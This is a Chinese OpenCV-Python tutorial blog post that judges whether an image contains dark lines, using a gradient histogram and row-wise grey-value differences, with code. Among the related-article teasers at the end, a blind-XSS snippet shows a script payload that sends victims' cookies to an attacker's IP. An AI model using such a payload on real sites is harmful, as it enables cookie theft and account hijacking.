OpenCV-Python小应用(八):判断是否有深色线条

news2025/1/10 16:28:12

OpenCV-Python小应用(八):判断是否有深色线条

  • 前言
  • 前提条件
  • 相关介绍
  • 实验环境
  • 判断是否有深色线条
    • 思路一:通过图像梯度直方图判断
    • 思路二:通过图像灰度值变化判断
  • 参考

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

前言

  • 由于本人水平有限,难免出现错漏,敬请批评改正。
  • 更多精彩内容,可点击进入Python日常小操作专栏、OpenCV-Python小应用专栏、YOLO系列专栏、自然语言处理专栏或我的个人主页查看
  • 基于DETR的人脸伪装检测
  • YOLOv7训练自己的数据集(口罩检测)
  • YOLOv8训练自己的数据集(足球检测)
  • YOLOv5:TensorRT加速YOLOv5模型推理
  • YOLOv5:IoU、GIoU、DIoU、CIoU、EIoU
  • 玩转Jetson Nano(五):TensorRT加速YOLOv5目标检测
  • YOLOv5:添加SE、CBAM、CoordAtt、ECA注意力机制
  • YOLOv5:yolov5s.yaml配置文件解读、增加小目标检测层
  • Python将COCO格式实例分割数据集转换为YOLO格式实例分割数据集
  • YOLOv5:使用7.0版本训练自己的实例分割模型(车辆、行人、路标、车道线等实例分割)
  • 使用Kaggle GPU资源免费体验Stable Diffusion开源项目

前提条件

  • 熟悉Python

相关介绍

  • Python是一种跨平台的计算机程序设计语言。是一个高层次的结合了解释性、编译性、互动性和面向对象的脚本语言。最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的添加,越多被用于独立的、大型项目的开发。
  • OpenCV是一个基于Apache2.0许可(开源)发行的跨平台计算机视觉和机器学习软件库,可以运行在Linux、Windows、Android和Mac OS操作系统上。它轻量级而且高效——由一系列C函数和少量C++类构成,同时提供了Python、Ruby、MATLAB等语言的接口,实现了图像处理和计算机视觉方面的很多通用算法。
  • OpenCV用C++语言编写,它具有C++、Python、Java和MATLAB接口,并支持Windows、Linux、Android和Mac OS,OpenCV主要倾向于实时视觉应用,并在可用时利用MMX和SSE指令。
  • 图像梯度是指图像中灰度变化的速度,反映了图像的边缘信息。在图像处理中,我们可以把图像看成二维离散函数,图像梯度其实就是这个二维离散函数的求导。
  • 在一幅模糊图像中的物体的轮廓不明显,轮廓边缘灰度变化不强烈,从而导致层次感不强,而在清晰图片中的物体轮廓边缘灰度变化明显,层次感强。因此,我们引入的图像梯度可以把图像看成二维离散函数,图像梯度其实就是这个二维离散函数的求导。
  • 在上边这幅图中可以看出,如果一副图像的相邻灰度值有变化,那么梯度就存在,如果图像相邻的像素没有变化,那么梯度就是0,把梯度值和相应的像素相加,那么灰度值没有变化的,像素就没有变化,灰度值变了,像素值也就变了。
  • 一些经典的图像梯度算法是考虑图像的每个像素的某个邻域内的灰度变化,利用边缘临近的一阶或二阶导数变化规律,对原始图像中像素某个邻域设置梯度算子,通常我们用小区域模板进行卷积来计算,有Sobel算子、Robinson算子、Laplace算子等。
  • 图像的灰度值是指图像中每个像素的亮度值,通常用于黑白图像。灰度值的范围通常是0到255,其中0表示黑色,255表示白色。在计算机视觉中,灰度图像是由纯黑和纯白来过渡得到的,在黑色中加入白色就得到灰色,纯黑和纯白按不同的比例来混合就得到不同的灰度值。
  • 在灰度图像中,每个像素的颜色值都是灰度值,指黑白图像中点的颜色深度,范围一般从0到255,白色为255,黑色为0。在灰度图像中,每个像素只有一个采样颜色的图像,这类图像通常显示为从最暗黑色到最亮的白色的灰度,尽管理论上这个采样可以任何颜色的不同深浅,甚至可以是不同亮度上的不同颜色。

实验环境

  • Python 3.6.13 (面向对象的高级语言)
  • OpenCV 3.4.10(python第三方库)pip3 install opencv-python==3.4.10.37

判断是否有深色线条

在这里插入图片描述

思路一:通过图像梯度直方图判断

  • 基本思路:对图像进行梯度计算,得到的梯度图像,进行每一行梯度值的统计,得到梯度直方图。如果梯度直方图有一定数量的高峰(这里阈值条件为高峰数量len(lst) > 3),则认为有深色线条,否则,认为无深色线条。
    在这里插入图片描述
  • 图像梯度相关知识点,可查阅OpenCV-Python快速入门(七):边缘检测
import  cv2
import matplotlib.pyplot as plt
import numpy as np
def get_magnitude(img):
    '''
    param: 
        img 图像数组
    return:
        magnitude 图像梯度
    '''
    # 高斯模糊,平滑
    Blur = cv2.GaussianBlur(img, (3, 3), 0, sigmaY=0, borderType=cv2.BORDER_REPLICATE) 
    # 计算图像x方向梯度
    sobel_dx = cv2.Sobel(Blur, cv2.CV_32F, 1, 0, ksize=3, scale=1, delta=0, borderType=cv2.BORDER_REPLICATE)
    # 计算图像y方向梯度
    sobel_dy = cv2.Sobel(Blur, cv2.CV_32F, 0, 1, ksize=3, scale=1, delta=0, borderType=cv2.BORDER_REPLICATE)
    # 得到图像梯度
    magnitude = np.sqrt(sobel_dx * sobel_dx + sobel_dy * sobel_dy) # 梯度幅值
    # cv2.imshow("magnitude",magnitude)
    # cv2.waitKey()
    # cv2.destroyAllWindows()
    return magnitude

if __name__ == "__main__":
        img = cv2.imread('3.png',0)
        magnitude = get_magnitude(img)
        
        print(magnitude)

        X_sum=np.sum(magnitude,axis=1)
        lst = list(filter(lambda x : x > 10000,X_sum))
        print(lst)
        if len(lst) > 3:
            print(True)
        else:
            print(False)

        x=np.arange(0,len(X_sum)) # x轴坐标值# print('x.shape:'x.shape)
        plt.figure()
        plt.subplot(1, 2, 1)
        plt.imshow(magnitude,cmap='gray')
        plt.subplot(1, 2, 2)
        plt.plot(x,X_sum,c ='r') # 参数c为color简写,表示颜色,r为red即红色# plt.show() # 显示图像
        plt.show()
True

在这里插入图片描述

思路二:通过图像灰度值变化判断

  • 基本思路:对图像的每一行求均值,对每一行均值以bin=5为一组,得到bin_mean,对每个相邻的bin_mean做差,如果差值大于一定阈值(这里阈值条件为max_dif > 3),则认为有深色线条,否则,认为无深色线条。

在这里插入图片描述

import cv2
import numpy as np
import matplotlib.pyplot as plt

img = cv2.imread('3.png',0)
X_mean = np.mean(img, axis=1)
print(X_mean.shape)
bin = 5
start = 0
lenght = len(X_mean)
bin_means = []
while start < lenght:
    end = start + bin
    if end > lenght:
        bin_mean = np.mean(X_mean[start:lenght])
    else:
        bin_mean = np.mean(X_mean[start:end])
    start += bin
    bin_means.append(bin_mean)

dif = abs(np.diff(np.array(bin_means))) # 相邻
max_dif = np.max(dif)
print(max_dif)
if max_dif > 3:
    print(True)
else:
    print(False)
True

参考

[1] https://opencv.org/
[2] 李立宗. OpenCV轻松入门:面向Python. 北京: 电子工业出版社,2019

  • 由于本人水平有限,难免出现错漏,敬请批评改正。
  • 更多精彩内容,可点击进入Python日常小操作专栏、OpenCV-Python小应用专栏、YOLO系列专栏、自然语言处理专栏或我的个人主页查看
  • 基于DETR的人脸伪装检测
  • YOLOv7训练自己的数据集(口罩检测)
  • YOLOv8训练自己的数据集(足球检测)
  • YOLOv5:TensorRT加速YOLOv5模型推理
  • YOLOv5:IoU、GIoU、DIoU、CIoU、EIoU
  • 玩转Jetson Nano(五):TensorRT加速YOLOv5目标检测
  • YOLOv5:添加SE、CBAM、CoordAtt、ECA注意力机制
  • YOLOv5:yolov5s.yaml配置文件解读、增加小目标检测层
  • Python将COCO格式实例分割数据集转换为YOLO格式实例分割数据集
  • YOLOv5:使用7.0版本训练自己的实例分割模型(车辆、行人、路标、车道线等实例分割)
  • 使用Kaggle GPU资源免费体验Stable Diffusion开源项目

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1195703.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++多态特性

&#x1f388;个人主页:&#x1f388; :✨✨✨初阶牛✨✨✨ &#x1f43b;强烈推荐优质专栏: &#x1f354;&#x1f35f;&#x1f32f;C的世界(持续更新中) &#x1f43b;推荐专栏1: &#x1f354;&#x1f35f;&#x1f32f;C语言初阶 &#x1f43b;推荐专栏2: &#x1f354;…

C++进阶-STL queue容器的简单认识

STL queue容器的简单认识 queue容器的基本概念queue容器的构造函数queue容器的赋值操作queue容器的数据存取queue容器的大小操作 queue容器的基本概念 queue是一种 先进先出 (First In First Out, FIFO)的数据结构&#xff0c;它有两个出口 队列容器允许从一端新增元素&#…

Azure 机器学习 - 如何使用模板创建安全工作区

目录 先决条件了解模板配置模板连接到工作区疑难解答错误&#xff1a;Windows 计算机名的长度不能超过 15 个字符&#xff0c;并且不能全为数字或包含以下字符 本教程介绍如何使用 [Microsoft Bicep]和 [Hashicorp Terraform]模板创建以下 Azure 资源&#xff1a; Azure 虚拟网…

【chat】4: ubuntu20.04:数据库创建:mysql8 导入5.7表

【chat】3: ubutnu 安装mysql-8 并支持远程访问 已经支持 8.0的SQLyog 远程访问:大神2021年的文章:sql是5.7的版本,我使用的ubuntu20.04,8.0版本:chat数据库设计 C++搭建集群聊天室(七):MySQL数据库配置 及项目工程目录配置 User表,以id 唯一标识 Friend 表,自己的id…

Run highlighted commands using IDE

背景 有时候在 IEDE 的命令行中输入命令&#xff0c;会弹出如下提示&#xff0c;或者命令被着了背景色了&#xff0c;是怎么回事&#xff1f; 其实就是提示你可以使用 IDEA 的功能替代命令行。比如使用ctrlenter或cmdenter之后使用的就是 IDEA 里的功能 直接enter运行&#x…

YOLOv5改进 | 添加CA注意力机制 + 增加预测层 + 更换损失函数之GIoU

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。在小目标场景的检测中&#xff0c;存在远距离目标识别效果差的情形&#xff0c;本节课提出一种基于改进YOLOv5的小目标检测方法。首先&#xff0c;在YOLOv5s模型的Neck网络层融合坐标注意力机制&#xff0c;以提升模型的特…

HTML点击链接强制触发下载

常见网页中会有很多点击链接即下载的内容&#xff0c;以下示范一下如何实现 <a href"文件地址" download"下载的文件名字&#xff08;不包括后缀&#xff09;">强制下载</a> 下面举个例子&#xff1a; <a href"./image/test.jpg"…

【我悟了】异常断电导致的文件系统变为只读——案例分析

背景 应领导要求&#xff0c;临时支持其他项目上遇到的一个问题。由于该问题属于未涉及的知识领域&#xff0c;从接触到最终给出方案&#xff0c;也花了我不少精力。在此进行分享&#xff0c;主要介绍在面对不熟悉的问题领域时&#xff0c;分析问题的思路。希望能够给年轻的同学…

小心你的大模型被基准评估坑了,模型直接傻掉!人大高瓴揭秘大模型作弊

作者 | 谢年年、Python 从 ChatGPT 横空出世到国内外「百模大战」打响以来&#xff0c;我们隔三差五就会看到某某大模型又超越多个模型&#xff0c;刷新SOTA&#xff0c;成功屠榜的消息。 这些榜单都是基于一系列高质量的评估基准创立的&#xff0c;从不同的方面比较LLMs的性能…

【VastbaseG100】 The password has been expired, please change the password.

NOTICE: The password has been expired, please change the password. vsql ((Vastbase G100 V2.2 (Build 10) Release) compiled at 2022-09-18 13:48:47 commit 9104 last mr ) 非SSL连接&#xff08;安全性要求高时&#xff0c;建议使用SSL连接&#xff09; 输入 "h…

xss 盲打

XSS 盲打 为什么教盲打&#xff0c;是因为处于被动&#xff0c;要等待受害者触发 1.利用存储型XSS 先将代码写入留言。同时kali开启端口监听&#xff08;下面IP是kali的&#xff09; <script>document.write(\<img src\"http://10.9.47.79/\document.cookie\\&qu…

Python开源项目RestoreFormer(++)——人脸重建(Face Restoration),模糊清晰、划痕修复及黑白上色的实践

有关 python anaconda 及运行环境的安装与设置请参阅&#xff1a; Python开源项目CodeFormer——人脸重建&#xff08;Face Restoration&#xff09;&#xff0c;模糊清晰、划痕修复及黑白上色的实践https://blog.csdn.net/beijinghorn/article/details/134334021 1 RESTOREF…

3.1 IDA Pro编写IDC脚本入门

IDA Pro内置的IDC脚本语言是一种灵活的、C语言风格的脚本语言&#xff0c;旨在帮助逆向工程师更轻松地进行反汇编和静态分析。IDC脚本语言支持变量、表达式、循环、分支、函数等C语言中的常见语法结构&#xff0c;并且还提供了许多特定于反汇编和静态分析的函数和操作符。由于其…

程序员的护城河:技术、创新与软实力的完美融合

作为IT行业的从业者&#xff0c;我们深知程序员在保障系统安全、数据防护以及网络稳定方面所起到的重要作用。他们是现代社会的护城河&#xff0c;用代码构筑着我们的未来。那程序员的护城河又是什么呢&#xff1f;是技术能力的深度&#xff1f;是对创新的追求&#xff1f;还是…

Linux 基于 LVM 逻辑卷的磁盘管理【简明教程】

一、传统磁盘管理的弊端 传统的磁盘管理&#xff1a;使用MBR先对硬盘分区&#xff0c;然后对分区进行文件系统的格式化最后再将该分区挂载上去。 传统的磁盘管理当分区没有空间使用进行扩展时&#xff0c;操作比较麻烦。分区使用空间已经满了&#xff0c;不再够用了&#xff…

Linux系统初步了解

Linux系统由4个主要部分组成&#xff1a;内核、Shell、文件系统和应用程序。 本专题主要是围绕这四个来展开的。 POSIX&#xff08;可移植操作系统接口&#xff09;定义了操作系统应该为应用程序提供的标准接口&#xff0c;其意愿是获得源码级别的软件可移植性。所以Linux选择…

程序员的那些坏习惯!来看看你有几个?

一、前言 写了20多年代码&#xff0c;我见过不下于4位数的程序员&#xff0c;我觉得程序员的能力水平可以分为4个阶段&#xff1a;线性级、逻辑级、架构级和工程级。 同样的在这些人当中&#xff0c;我也发现了8个程序员最常见的陋习&#xff0c;基本上可以覆盖90%的人&#…

高德资深技术专家孙蔚:海量用户应用数据库选型、升级实践

高德地图&#xff08;以下简称“高德”&#xff09;作为一款用户出行必备、拥有海量用户数据的导航软件&#xff0c;对系统运行稳定性要求极高。 一直以来&#xff0c;高德每时每刻都在生产的一些数据库中的数据已经达到数百 TB&#xff0c;数据量的增长不仅带来存储成本的迅速…

关于Office阻止访问嵌入对象的解决办法

问题 Word文档中想要下载嵌入的文件时被Office阻止了&#xff0c;无法下载。 解决办法 打开文件——选项——信任中心&#xff0c;在宏设置中启用所有宏&#xff0c;关于Macro、Acitve X插件等项目设置上&#xff0c;建议暂时全部设置为允许&#xff0c;看下相关对象的访问…

try-catch-finally执行以及他们在有return的情况下,基本数据类型、对象以及有异步赋值情况异同分析

这两天面试,遇到好几个人,都是那种我感觉我肚子里的墨水都吐出来完了,难不倒人家,于是问了下家里那位老狗,从最开始就念叨着你问他try-catch在有return的情况下怎么执行的,执行结果是啥,我前面没理,后面确实有点遭不住了,来看看吧,肚子里添点墨水,别把脸丢大了~ 做…